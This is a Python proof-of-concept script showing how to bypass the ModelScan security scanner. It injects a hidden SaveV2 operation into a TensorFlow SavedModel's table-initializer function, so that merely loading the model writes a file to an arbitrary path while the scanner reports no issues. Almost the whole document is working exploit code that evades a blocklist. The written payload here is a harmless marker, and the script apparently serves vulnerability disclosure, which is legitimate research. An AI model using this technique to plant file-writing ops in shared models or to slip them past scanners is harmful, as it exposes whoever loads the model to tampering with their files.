#!/usr/bin/env python3
"""PoC: ModelScan bypass using SaveV2 instead of WriteFile"""
import os, tempfile, shutil
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
import tensorflow as tf
from tensorflow.core.protobuf import saved_model_pb2
from tensorflow.core.framework import types_pb2

base_dir = tempfile.mkdtemp(prefix="tf_bypass_")
print("=== ModelScan Bypass PoC: SaveV2 instead of WriteFile ===")

# Create model with HashTable
class M(tf.Module):
    def __init__(self):
        super().__init__()
        self.table = tf.lookup.StaticHashTable(
            tf.lookup.KeyValueTensorInitializer(
                keys=["a"], values=[1],
                key_dtype=tf.string, value_dtype=tf.int32
            ), default_value=0
        )
    @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
    def serve(self, x):
        return self.table.lookup(x)

m = M()
sm_dir = os.path.join(base_dir, "model")
tf.saved_model.save(m, sm_dir)

# Inject SaveV2 instead of WriteFile
pb_path = os.path.join(sm_dir, "saved_model.pb")
sm = saved_model_pb2.SavedModel()
with open(pb_path, "rb") as f:
    sm.ParseFromString(f.read())

marker = "/tmp/tf_savev2_bypass"
for mg in sm.meta_graphs:
    for func in mg.graph_def.library.function:
        if "initializer" in func.signature.name:
            # prefix (path to write to)
            pf = func.node_def.add()
            pf.name = "sv2_prefix"
            pf.op = "Const"
            pf.attr["dtype"].type = types_pb2.DT_STRING
            pf.attr["value"].tensor.dtype = types_pb2.DT_STRING
            pf.attr["value"].tensor.string_val.append(marker.encode())
            
            # tensor_names
            tn = func.node_def.add()
            tn.name = "sv2_names"
            tn.op = "Const"
            tn.attr["dtype"].type = types_pb2.DT_STRING
            tn.attr["value"].tensor.dtype = types_pb2.DT_STRING
            tn.attr["value"].tensor.tensor_shape.dim.add().size = 1
            tn.attr["value"].tensor.string_val.append(b"payload")
            
            # shape_and_slices
            ss = func.node_def.add()
            ss.name = "sv2_slices"
            ss.op = "Const"
            ss.attr["dtype"].type = types_pb2.DT_STRING
            ss.attr["value"].tensor.dtype = types_pb2.DT_STRING
            ss.attr["value"].tensor.tensor_shape.dim.add().size = 1
            ss.attr["value"].tensor.string_val.append(b"")
            
            # data tensor
            dt = func.node_def.add()
            dt.name = "sv2_data"
            dt.op = "Const"
            dt.attr["dtype"].type = types_pb2.DT_STRING
            dt.attr["value"].tensor.dtype = types_pb2.DT_STRING
            dt.attr["value"].tensor.string_val.append(b"MODELSCAN_BYPASSED")
            
            # SaveV2 op
            sv = func.node_def.add()
            sv.name = "sv2_op"
            sv.op = "SaveV2"
            sv.input.append("sv2_prefix:output:0")
            sv.input.append("sv2_names:output:0")
            sv.input.append("sv2_slices:output:0")
            sv.input.append("sv2_data:output:0")
            sv.attr["dtypes"].list.type.append(types_pb2.DT_STRING)
            
            for node in func.node_def:
                if node.op == "NoOp":
                    node.input.append("^sv2_op")
                    break
            break

with open(pb_path, "wb") as f:
    f.write(sm.SerializeToString())

# Step 1: Scan with ModelScan
print("[1] ModelScan analysis...")
from modelscan.modelscan import ModelScan
scanner = ModelScan()
results = scanner.scan(sm_dir)
issues = results.get("issues", [])
if issues:
    print(f"  ModelScan found {len(issues)} issues:")
    for issue in issues:
        print(f"    {issue['operator']}: {issue['severity']}")
else:
    print("  ModelScan found NO issues!")

# Step 2: Load model
print()
print("[2] Loading model...")
import glob
# Clean markers
for f in glob.glob(marker + "*"):
    os.remove(f)

try:
    loaded = tf.saved_model.load(sm_dir)
    print("  Model loaded!")
    
    files = glob.glob(marker + "*")
    if files:
        print(f"  SaveV2 created files: {files}")
        for f in files:
            print(f"    {f}: {os.path.getsize(f)} bytes")
        print("  -> File write via SaveV2, bypassing ModelScan!")
    else:
        print("  No files created")
except Exception as e:
    print(f"  Error: {str(e)[:300]}")
    files = glob.glob(marker + "*")
    if files:
        print(f"  SaveV2 created files DESPITE error: {files}")

# Cleanup
shutil.rmtree(base_dir)
for f in glob.glob(marker + "*"):
    os.remove(f)

print()
print("=== Summary ===")
print("SaveV2 writes checkpoint files to arbitrary paths.")
print("ModelScan does NOT detect SaveV2 as dangerous.")
print("This bypasses the ReadFile/WriteFile blocklist.")